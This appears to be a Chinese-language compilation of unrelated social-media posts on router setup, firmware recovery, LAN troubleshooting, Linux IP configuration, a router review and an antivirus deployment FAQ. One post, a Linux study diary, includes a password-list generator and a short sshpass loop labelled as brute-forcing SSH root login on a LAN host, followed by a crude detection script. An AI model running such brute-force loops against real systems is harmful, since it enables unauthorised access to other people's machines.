一键登录192 168 1 1（一键登录192.168.8.1）
TCL电视投屏的问题困扰了我半年的时间(主要在西瓜视频无法投屏)，10月4号这天终于解决了，电信师傅也是最近想到了解决方法，登入192.168.2.1网址，把mesh和e-link关闭，就能投屏西瓜视频。
只针对TCL电视，我之前优酷和西瓜视频都无法投屏，用了这个方法，现在都正常投屏了。
华为路由器降级教程！
昨天说华为华为AX3 pro(WS7200)路由升级2.1.0203后解除了降级限制，可以自由降级了，有小伙伴后台私信询问怎么降级，现在附上降级方法教程。
第一步，下载路由器固件版本。一定要分清型号版本，比如凌霄版和高通版。
第二步，电脑登录192.168.3.1，打开路由器管理页面，输入密码登录后选择更多功能>升级管理>本地升级，选择固件，等待升级完成。
小米AX3600可以方便安装Openwrt，但信号稳定性堪忧，如果需要恢复到原来的系统。
需要软件：
1.WinScp，用于上传数据包文件。
2.PuTTY或win Terminal，用于SSH远程登录。
可以按如下操作：
1.用scp把MIBIB.bin和xiaomi1.1.12.ubi上传到tmp目录
2.用PuTTY登录192.168.1.1，帐号是root，密码是自己设置的，ssh执行以下命令
ubiformat /dev/mtd12 -y -f /tmp/xiaomi1.1.12.ubi
mtd write /tmp/MIBIB.bin /dev/mtd1
fw_setenv flag_last_success 0
fw_setenv flag_boot_rootfs 0
3.拔电源重启。
多等一会，可能时间会比较长，中途不要断电。
这样就可以恢复原版的小米官方系统，还可以再次开通ssh。
上面提到的MIBIB.bin和需要单独下载，通过scp传到指定目录下。恢复后的小米固件，可以正常升级官方固件。
此方法亲测有效。
客户的工程师在现场安装设备时碰到了问题，电脑通过网线连接到路由器，通过默认IP 192.168.1.1能正常打开路由器的设置网页。
将路由器的内网IP改成192.168.10.1之后，则能ping通路由器，却不能正常打开路由器的设置网页。
我远程连接过去，试了一把也没办法找到问题原因。
怀疑是路由器问题，于是也让路由器厂家的工程师介入远程处理。
厂家工程师鼓捣了一番，又是telnet登录路由器后台，又是改路由器设置网页的端口，又是重启httpd服务...
折腾了半天，实在找不到原因，最后说是电脑的设置问题，可能有电脑有拦截，然后退出了远程协助，让客户用手机连接路由器试试。
客户表示前几个项目也是用这一台电脑的配置的...
最后，我再次连到客户的电脑，用wireshark抓包，果然发现了问题：
当在浏览器输入路由器的ip 192.168.10.1之后，电脑居然以IP 192.168.1.211向地址192.168.10.1请求建立TCP连接。
显示两方不在同一个IP网段。
原来是客户为了省事，将电脑一个有线网卡设置了多个IP，
这样可能导致电脑的路由表混乱，比如本机可能会向路由2发送数据包到实际位置为路由1上的计算机，从而导致无法访问、找不到设备。
很不幸的是，客户电脑的网卡就存在这样的问题。
今天过来给同行维修平台不在线，门禁设备不在线。vlan。到了现场以后描述突然断电，再开就上不去了， 平台无法登陆，提示找不到服务器，也ping不通。 到了现场，确实是ping不通， 我的首要任务是解决 门禁不在线，ok。
先发现门禁ip是1段， 然后接入了2段的摄像头的网络传输到机房， 从门禁服务器上ping 2段摄像头的ip可以，但是ping 1段的新加入的门禁就不通， 直接连接就可以通，这应该是vlan 两个冲突了， 2段只允许2段的通过，这个问题让他更改门禁为2段就好了。
继续维修平台不在线，发现前台电脑上只是服务器分客户端， 服务器ip是10.0.1段的。 但是电脑是192.168.1.2 这不通是对的啊，不应该通啊，遂把前台电脑更改成10.0.1段的ip 发现还是ping不通[思考][思考][思考]。经过一一顿研究，发现贴着服务器ip的服务器貌似没开机[吐血][吐血][吐血]
电源指示灯红色，但是网络灯是亮的[摊手][摊手]。我也不敢乱关，后来还是经验告诉我，红灯肯定没开机[大金牙][大金牙] 我按下了开关，轰鸣声震耳欲聋[捂脸][捂脸][捂脸] 服务器开机了。本来心思这就解决了不是，把电脑有更换回原始ip。 等了五分钟不通，等了10几分钟还不通[吐血][吐血][吐血]。
找了显示器去，发现已经开机了 是os7 满脸英文我也看不懂，真醉了。但是ping 就不通。
突然想到可以直链服务器，一测试服务器能ping通 ok的。 那就是交换机和前台之间的问题，经过对比vlan 里面的端口，感觉服务器的端口没有和上级汇聚下来的在一个口，把网线换过去以后，终于ping通了[大金牙][大金牙] 本来以为问题解决额[捂脸][捂脸][捂脸] 输入密码提示密码不对。
又经过找密码，发现密码都是不对，换了个人问了人家说是小写吧[吐血][吐血][吐血] 输入进去对了[泣不成声][泣不成声][泣不成声]。至此终于都搞定了，收拾收拾残局下班回家家。
大家说这种问题收费收多少合适呢？
问：用TaskBuilder发布完的应用，用户怎么访问？
答：在安装任擎服务器的电脑上，可以打开Web浏览器，在地址栏内输入：网页链接 ，按回车，即可看到任擎后台服务的登录页面，登录后既可以看到新发布的应用。如果用户电脑与任擎服务器不在同一台电脑，则需要把上面网址里的localhost改成任擎服务器所在电脑的IP地址，例如：网页链接。 其中，8001是任擎服务器的默认网络端口，如果任擎服务器所在电脑上没有其他应用使用80端口，则可以在任擎服务器的配置文件里将网络端口改成80，重启任擎服务器后，再访问任擎服务器，就不需要输入网络端口，直接输入ip地址即可，例如：网页链接。
另外，任擎服务器所在电脑上，如果开启了防火墙，需要将任擎服务器的网络端口设置为允许访问，否则，别的电脑将无法访问。
某客户反应，部分用户偶尔会间歇性断网，时间很短，办公基本上没影响，但是直播的时候会有问题。
远程登录路由器观察，没发现异常，于是登录核心交换机查看日志，发现19端口一直在报错：%ARP-4-DUPADDR:Duplicate address 192.168.1.1 in interface Vlan 101 port GigabitEthernet 0/19，Sourced by fc04.xxxx.bb6b。
意思是19口上有IP冲突了，并且提供了冲突来源的MAC地址，但是这个提示，真实的意思应该是有电脑中了ARP病毒。
在服务器上用工具扫描了一下，把这个MAC地址对应的IP地址找出来，应该是开着系统防火墙的缘故，没有扫描到是什么操作系统。ping一下这个192.168.1.89，一眼就能看到不正常的状态。
无所谓了，让这个用户来找我们比较容易，于是在交换机上限制这个MAC地址的通讯：mac-address filtering fc04.xxxx.bb6b vlan 101，再执行命令：show mac-address-table filtering，确认这个MAC地址已经被过滤了，再ping 192.168.1.89，已经无法通讯了。
等这个用户来找我们，就是给他远程杀毒，大热天的省得上门服务了，大家都方便，嘿嘿。
#IT##网络工程师#
家里的 windows 电脑死活 ping 不通 linux 电脑，ssh 登录也不行。作为一名程序员，依次按下面的步骤进行了分析：
１、在linux电脑上查看系统是否忽略了 icmp request。
cat /proc/sys/net/ipv4/icmp_echo_ignore_all
输出０，表示没有忽略。
看来没找到原因，继续分析。
２、在linux电脑上用 iptables -L 查看是否有设置针对 icmp 和 ssh 的规则设定。
发现没有可疑设定，保险一点也可以通过 iptables -F 清掉所有规则。
还是不行，看来没找到原因，继续分析。
３、在 linux 上用 wireshark 抓包，发现不管是来自 windows 电脑的 ping 请求还是 ssh 请求封包，其实 linux 端都收到了，但是没有回应。
这说明两台机器之间的网络连接和协议栈处理都没有问题。
那真正的原因到底是什么呢？
４、那很可能是 linux 这边的网络发送出了问题，网络发送有问题首先排查路由是否正确。在 linux 下打开terminal，执行 route
看到两个192.168.1.0，我心释然了！
#程序员# #linux# #windows# #运维# #网络# #互联网# #我要上微头条# #IT# #电脑#
今天，是Linux回炉的第七十六天
shell
mkpasswd #生成密码
sshpass #无交互式登录
首先，生成密码文件
#!/bin/bash
while true
do
read -p "请输入输出的次数:" a
read -p "请输入输出的密码长度:" b
if [ $b -ge 6 ]
then
for ((i=1;i<=$a;i++))
do
echo $RANDOM|md5sum|cut -c 1-$b >>11.txt
mkpasswd -l $b -s 1 -c 1 -C 1 -d 1 >>11.txt
for ((j=1;j<=$b;j++))
do
echo -n $((RANDOM%10)) >>11.txt
done
echo " "
done
else
echo "建议密码长度在6位以上,休息5秒后程序将继续"
fi
sleep 5
done
其次，暴力破解
#!/bin/bash
for n in `cat 11.txt`
do
sshpass -p $n ssh root@192.168.1.105
done
最后，预防暴力破解
#!/bin/bash
while true
do
AA=`cat /var/log/secure|grep Failed|awk -F ':' '{print $4}'|awk '{print $6}'|uniq -c|awk '{print $1}'`
BB=`cat /var/log/secure|grep Failed|awk -F ':' '{print $4}'|awk '{print $6}'|uniq -c|awk '{print $2}'`
DD=`cat /var/log/secure|grep Failed|wc -l`
if [ $DD != 0 ]
then
for n in $AA
do
if [ $AA -ge 50 ]
then
echo "发现暴力破解地址:" $BB
CC=`ps aux|grep $(who|grep 192.168.1.103|awk '{print $2}')|grep sshd|awk '{print $2}'`
kill -9 $CC
echo "已经清除"
echo $BB >>9.txt
cat /var/log/secure >>10.txt
> /var/log/secure
else
echo "未发现暴力破解"
fi
done
else
echo "/var/log/secure显示正常"
fi
sleep 5
done
如果是linux系统环境，在这个系统环境下修改ip地址该怎么做呢?
1、使用root用户登录进入linux，打开进去终端;
在终端中输入：vi /etc/sysconfig/network-scripts/ifcfg-eth0
2、回车后，开始编辑，填写ip地址、子网掩码、网关、DNS等。其中“红框内的信息”是必须得有的。编辑完成后，保存退出;
3、重启网络服务;
service network restart或/etc/init.d/network restart
4、然后ping网关，ping外网进行测试。都能ping通表示网络正常。
详细摘要：
---修改ip地址---
即时生效:
# ifconfig eth0 192.168.1.155 netmask 255.255.255.0
重启生效:
修改vi /etc/sysconfig/network-scripts/ifcfg-eth0
---修改default gateway---
即时生效:
# route add default gw 192.168.1.1
重启生效:
修改vi /etc/sysconfig/network-scripts/ifcfg-eth0
---修改dns---
修改vi /etc/resolv.conf
修改后即时生效，重启同样有效
---修改host name---
即时生效:
# hostname test1
重启生效:
修改vi /etc/sysconfig/network
这个就是全部的过程了，大家如果在使用linux系统的话可以尝试下效果，不过修改文件的时候一定要注意细心点啊。
最近收到了 GL.iNet 家推出的新款路由器 SF1200，官方售价很亲民，仅售 149 元，官方称其 99% 的硬件均为国产，其中的核心 CPU 也是采用的国产芯片矽昌方案。说到 GL.iNet 或许很多人并不清楚是什么品牌，这家路由器品牌其实相当硬核，旗下的产品均是基于 OpenWrt 开源系统开发的，这也使得他们家的路由器有着很高的可玩性和扩展性，这是市面上大多数路由器所不具备的。
说回产品本身，SF1200 是一款入门级别的千兆路由器，采用了 4 根外置全向天线，其中 2 根 2.4GHz 天线，2 根 5GHz 天线，2.4G 速率为 300Mbps，5G 速率为 867Mbps，支持 2*2MU-MIMO 技术，后侧为 4 个千兆网口（1 WAN + 3 LAN），配置相当良心，完全可以满足绝大多数普通用户的需求。其整机造型也很简单，白色外壳也没有什么点缀的设计，散热孔位于下侧，放置在居家环境下不易突兀。
SF1200 的登陆地址为 192.168.8.1，线缆连接完毕后就可以进入后台进行进一步的设置了。SF1200 的系统为 OpenWrt 定制的，设置界面相当简单易懂，即便你从来没有接触过 OpenWrt，初次上手 SF1200 也并不会有什么门槛，在左侧「网络」一栏设置好宽带的登陆账号后，这也就算是初步完成了对机器的配置，如果你没有了插件安装的需求，那么至此就可以安心使用了。
当然了，作为一家面对硬核玩家的路由器品牌，即便是入门级的产品也能够玩出多种花样。得益于其内置了 OpenWrt 开源系统，SF1200 是可以让用户自己安装各类插件的，在左侧的「软件包」一栏，你便可以看到各种可安装的插件，数量多达上千个，如果想进入 OpenWrt 后台则需要进一步的设置，你要在「软件包」中搜索 luci 和 luci-i18n-base-zh-cn，点击安装后在「更多设置」里找到「高级功能」，点击对应的登陆界面即可进入，在这个界面，你可以看到更多的路由器信息。需要说明的是，虽然 SF1200 支持插件安装，但由于其没有 TF 卡槽，所以它的 Flash 大小也只有 16MB 可用，选择安装几个必要的插件就行了。
至于速度方面，我家是 500M 的电信宽带，实测下 SF1200 基本能跑满，下行速率到 455Mbps，上行 58Mbps。不过当距离一旦拉远，下行速率就降至 136Mbps，这也和我家实际情况有关系，并且布局上有着较多承重墙，信号覆盖自然会有影响，但总的来看 SF1200 还是实现了我家的全屋覆盖，毕竟我此前都是采用 mesh 组网来实现全屋覆盖的，这点上来说 SF1200 的表现并不差。
作为一款入门级别的百元路由器，SF1200 带给我印象非常深刻，因为我此前购入的百元级路由器都是功能相当简单的初级产品，并且在信号表现上有着诸多毛病，而 GL.iNet 的 SF1200 却在这个价位提供了超出这个价位的网络体验，这是相当难得了，如果你喜欢折腾，那么它的 OpenWrt 还可以让你自由发挥，实现诸如广告拦截、自动签到、病毒防护等功能，这体验，很值当了。
火绒企业版2.0|火绒终端安全管理系统2.0安装部署常见问题解答
1、Q：安装中心后配置工具提示端口冲突如何解决？
A：打开火绒配置工具，更改“终端部署端口”对应的端口号，点击“保存”按钮即可。建议修改大于1024的端口号，1024属系统程序常用端口号。
2、Q：火绒支持几种部署方式，分别是什么？
A：网页访问部署：客户机浏览器地址栏访问控制中心IPv4地址，点击下载客户端，双击安装即可。
共享安装：将下载的客户端安装包拷贝到共享目录，复制到各个用户机器，双击安装即可。
域部署工具：具体使用方法详见管理工具下载页面使用文档。
三方桌管推送：如有第三方桌面管理软件，可推送火绒客户端安装包，推送时携带静默安装参数/s。
3、Q：如果我个人版加了密码，用域部署工具还能推送安装吗？
A：个人版加了密码，没有办法用域部署工具推送安装。即使勾选静默安装也卸载不掉。
需要把个人版密码关闭在推送安装。
4、Q:安装客户端提示“连接失败，需要输入控制中心IP地址和端口”该如何解决？
A：出现此问题可能有两种原因：
1.客户端与控制中心网络环境无法正常通讯
2.客户端安装包名称不正确
对应解决方案：
1.排除网络故障，保证客户端可以和控制中心网络环境正常通讯
2.正确安装包名称应为installer(https_中心IPv4地址:终端部署端口).exe;
正确示例：installer(https_192.168.1.100:8080).exe
如安装包从回环地址 网页链接或网页链接下载则需将安装包名称修改为实际地址。或通过浏览器访问控制中心实际地址，下载新包即可。
5、Q:个人版能否升级为企业版客户端？
A: 不能升级为企业版，且个人版与企业版客户端不能共存，安装企业版需卸载个人版重启后再安装企业版。
6、Q：刚安装完成，控制中心的账号和密码是什么
A：账号和密码默认均是 admin ，初次登录后需将密码修改为强口令。
7、Q：域部署推送安装后无反应是为什么？
A：排查方法如下
登录脚本：
检查被勾选终端是否具有域管理员权限，确认是域中否有其它组策略限制安装软件，
终端如有UAC限制，手动输入管理员账户密码进行安装。
开机脚本： 检查域目录NETLOGON中是否存在hrInst.exe程 序以及hrsetup.bat批处理 检查域目录SYSVOLscripts目录中是否存在hrInst.exe程序以及hrsetup.bat批处理 检查创建的GPO所对应的唯一ID目录中是否存在导出的安装脚本 打开server系统管理工具{Active Directory用户和计算机}，检查链接GPO的分组中是否存在计算机（开机脚本针对计算机单位生效，如分组中无计算机，开机脚本不生效）
#火绒企业版##杀毒软件##主机安全##火绒终端安全管理系统##火绒#
